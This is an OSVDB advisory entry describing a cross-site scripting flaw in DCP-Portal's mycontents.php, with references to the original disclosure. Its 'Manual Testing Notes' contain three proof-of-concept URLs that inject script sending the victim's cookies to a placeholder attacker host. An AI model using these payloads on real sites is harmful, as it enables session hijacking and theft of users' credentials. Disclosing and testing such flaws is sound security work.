DCP-Portal mycontents.php Multiple Variable XSS

2006-03-09T15:05:48
ID OSVDB:23981
Type osvdb
Reporter Nenad Jovanovic(enji@infosys.tuwien.ac.at)
Modified 2006-03-09T15:05:48

Description

Vulnerability Description

DCP-Portal contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the 'c_name', 'content_inicial', and 'cid' variables upon submission to the mycontents.php script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

DCP-Portal contains a flaw that allows a remote cross site scripting attack. This flaw exists because the application does not validate the 'c_name', 'content_inicial', and 'cid' variables upon submission to the mycontents.php script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.

Manual Testing Notes

http://[target]/dcp-portal611/mycontents.php?action=content&c_name="><script>document.location="http://[attacker]/stealcookie.php?"%2bdocument.cookie</script> http://[target]/dcp-portal611/mycontents.php?action=content&content_inicial=</textarea><script>document.location="http://[attacker]/stealcookie.php?"%2bdocument.cookie</script> http://[target]/dcp-portal611/mycontents.php?action=updatecontent&cid="><script>document.location="http://[attacker]/stealcookie.php?"%2bdocument.cookie</script>

References:

Vendor URL: http://www.dcp-portal.com/ Related OSVDB ID: 23977 Related OSVDB ID: 23979 Related OSVDB ID: 23980 Related OSVDB ID: 23976 Related OSVDB ID: 23978 Other Advisory URL: http://www.seclab.tuwien.ac.at/advisories/TUVSA-0603-001.txt Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-02/0725.html Keyword: TUVSA-0603-001